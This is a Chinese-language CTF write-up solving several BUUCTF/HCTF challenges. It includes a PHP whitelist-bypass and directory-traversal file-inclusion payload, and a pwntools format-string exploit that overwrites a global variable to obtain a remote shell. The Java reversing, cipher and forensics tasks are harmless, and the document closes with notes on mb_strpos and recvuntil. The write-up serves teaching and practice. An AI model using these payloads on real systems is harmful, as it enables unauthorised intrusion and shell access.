题解
web:[HCTF 2018]WarmUp
打开是张表情包
看一下源代码
访问source.php,得到完整代码
代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //两个白名单文件source.php和hint.php
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
} //如果字符在白名单内就正常回显,不在白名单内就回显“you can't see it”
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} //截取$page中?之前的部分,并检查是否在白名单中,也就是说只要?前的内容在白名单里即可
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} //URL解码,防止通过URL编码绕过检查
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //以REQUEST方式接收file传递过来的值,由is_string、emmm::checkFile处理之后交给include去处理
&& is_string($_REQUEST['file']) //判断file是不是字符串
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file']; //有include函数,大概率是一个文件包含漏洞
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?> //如果file参数存在且为字符串,并且通过了checkFile函数的检查,则包含该文件,否则就输出表情包
访问一下hint.php看看
用文件包含的形式访问一下,失败
因为我们当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录
一般都是/var/www/html/xx.php,文件包含加目录穿越即可
payload:
source.php?file=hint.php?/../../../../ffffllllaaaagggg
misc:BUUCTF-间谍启示录
下载附件,是一个.iso文件,用VMware看一下
看了看文档说明,虽然没有flag但是也算一个提示
这样不好看,foremost分离一下
看了一下,只有rar里的压缩包解压后有内容
运行flag.exe文件,没啥用,想起题目说的被隐藏了,右键选择属性开启隐藏再关闭即可得到机密文件.txt
打开就是flag
crypto:BUUCTF-old-fashion
下载附件,看不懂,直接用quipquip爆破
flag{n1_2hen-d3_hu1-mi-ma_a}
reverse:BUUCTF-Java逆向解密
下载附件,是一个.class文件,用jdkx-gui打开
代码解释
package defpackage;
import java.util.ArrayList;
import java.util.Scanner;
/* 从文件 Reverse.class 加载 */
public class Reverse {
public static void main(String[] args) {
Scanner s = new Scanner(System.in); // 创建一个 Scanner 对象用于读取控制台输入
System.out.println("Please input the flag :"); // 提示用户输入
String str = s.next(); // 读取用户输入的字符串
System.out.println("Your input is :"); // 输出提示信息
System.out.println(str); // 显示用户输入的字符串
char[] stringArr = str.toCharArray(); // 将字符串转换为字符数组
Encrypt(stringArr); // 调用 Encrypt 方法对字符数组进行加密处理
}
public static void Encrypt(char[] arr) {
ArrayList<Integer> Resultlist = new ArrayList<>(); // 创建一个整数列表来存储加密结果
for (char c : arr) { // 遍历字符数组
int result = (c + '@') ^ 32; // 使用一个简单的公式进行加密
//定义的c变量是字符+@,其实就是ascii码相加的数和32进行异或加密
Resultlist.add(Integer.valueOf(result)); // 将加密后的结果添加到列表中
}
int[] KEY = {180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65}; // 定义一个密钥数组
ArrayList<Integer> KEYList = new ArrayList<>(); // 创建一个整数列表来存储密钥值
for (int i : KEY) { // 遍历密钥数组
KEYList.add(Integer.valueOf(i)); // 将密钥值添加到列表中
}
System.out.println("Result:"); // 输出提示信息
if (Resultlist.equals(KEYList)) { // 比较加密结果和密钥列表是否相同
System.out.println("Congratulations!");
} else {
System.err.println("Error!");
}
}
}
由上,此题进行的处理大概是先将字符 c
的 ASCII 码值加上字符 @
的 ASCII 码值(64),然后将结果与 32 进行按位异或运算,存储最终结果
所以我们的脚本就要逆过来,通过减去 @
的 ASCII 码值并进行按位异或运算,还原出原始字符
python脚本:
strs = [180, 136, 137, 147, 191, 137, 147, 191,148, 136, 133, 191, 134, 140, 129, 135, 191, 65]
flag = ""
for i in range(0,len(strs)):
flag += chr(strs[i] - ord('@') ^ 0x20)
print("flag{"+flag+"}")
运行即可得到flag
pwn: [第五空间2019 决赛]PWN5
下载附件,exeinfope打开,32位无壳
ida32打开,查看main函数
代码解释(16~32行)
fd = open("/dev/urandom", 0); //打开了一个特殊的设备文件/dev/urandom,该文件提供了高质量的随机数。open函数的第二个参数是模式,通常应该使用O_RDONLY来表示只读模式,但这里直接使用了数字0,这在大多数系统上等同于O_RDONLY
read(fd, &dword_804C044, 4u); //从/dev/urandom读取4个字节的数据到变量dword_804C044中。这个变量似乎是一个全局变量,其地址是硬编码的(例如,在ELF文件中,地址可能是一个固定的地址)
printf("your name:"); //输入用户名
read(0, buf, 0x63u); //从标准输入(文件描述符0)读取最多99个字节(0x63是99的十六进制表示)到缓冲区buf中。这里没有检查read的返回值,也没有检查缓冲区溢出的可能性,这是一个潜在的安全风险
printf("Hello,");
printf(buf); //输出用户输入的名字。由于之前没有对buf进行任何处理,这里存在一个格式化字符串漏洞,攻击者可以构造输入来利用这个漏洞
printf("your passwd:"); //输入密码
read(0, nptr, 0xFu); //从标准输入读取最多15个字节(0xF是15的十六进制表示)到缓冲区nptr中。这里同样没有检查read的返回值,也没有检查缓冲区溢出的可能性
if ( atoi(nptr) == dword_804C044 ) //使用atoi函数将nptr指向的字符串转换成整数,并与之前从/dev/urandom读取的随机数进行比较。(因此我们构建攻击载荷的地址即为dword_804C044的地址=0x804C044)
{
puts("ok!!");
system("/bin/sh"); //如果输入的整数与随机数相等,则输出"ok!!"并执行/bin/sh,给予攻击者一个shell
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
由分析可知,该题存在格式化字符串漏洞,所以需要输入AAA来确定偏移量
AAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
偏移量为10
payload:
payload = p32(0x804C044) + b'%10$n'
其中,b'%10$n'是一个格式化字符串
%n表示将前面已经输出的字符数写入指定地址
10$表示将字符数写入第10个参数指向的地址
%10$n的作用就是将输出的字符数写入0x804c044
exp:
from pwn import*
io = remote('node5.buuoj.cn',28237)#远程连接服务器端口
io.recvuntil(':')#等待用户输入名字,确保脚本在正确的时刻发送或接收数据
payload = p32(0x804C044)+ b'%10$n'
io.sendline(payload)#发送payload到远程服务器,由于之前调用了recvuntil(':'),这个payload将作为用户的名字发送
io.recvuntil(':')#再次接收数据,直到遇到':',这次是为了同步到密码提示
io.sendline('4')#发送字符串'4'作为密码。这是因为在格式化字符串漏洞利用中,我们已经将dword_804C044的值覆盖为了4(或者至少我们希望是这样),所以输入'4'应该会使atoi(nptr) == dword_804C044的条件成立
io.interactive()#将脚本切换到交互模式,允许用户与远程服务器进行交互。如果之前的利用成功,这将提供一个shell
知识点
1.mb_strpos()函数
定义:
mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false
$haystack-->要搜索的字符串
$needle-->要查找的子字符串
$offset-->指定开始搜索的位置,默认为0
$encoding-->指定字符编码。若未指定,则一般是UTF-8
返回值:
如果找到子字符串,返回子字符串在主字符串中首次出现的位置(从0开始计数)
如果没找到,返回false
使用实例:
1.基本用法
2。指定偏移量:从位置5开始搜索,子字符串“世界”首次出现的位置是6
对比:
3.未找到字符串:返回false
4.指定字符编码:在UTF-8编码的字符串“hello world”中,ord首次出现的位置是6
注意:mb_strpos使用时需区分大小写,若要不区分的话,可以使用mb_stripos
实际应用场景:
1.检查子字符串是否存在
2.截取子字符串
3.检查文件扩展名
4.提取URL中的路径
2.recvuntil()函数
概念:
作用:
用于从远程服务器接收数据,直到指定的字符串(在今天的pwn题中是':')被接收到为止。这通常用于同步,确保脚本在正确的时刻发送或接收数据。
定义:
注意,三个参数里只有delimiter是必须有的
recvuntil(delimiter, timeout=default, drop=False)
delimiter:指定的分隔符,函数会一直接收数据,直到遇到这个分隔符
timeout:超时时间(秒为单位),如果在指定时间内没有接收到分隔符,函数会抛出异常
drop:True-->返回数据不包含分隔符,False-->返回数据包含分隔符
返回值:返回从目标程序接收到的数据(包括分隔符,除非 drop=True
)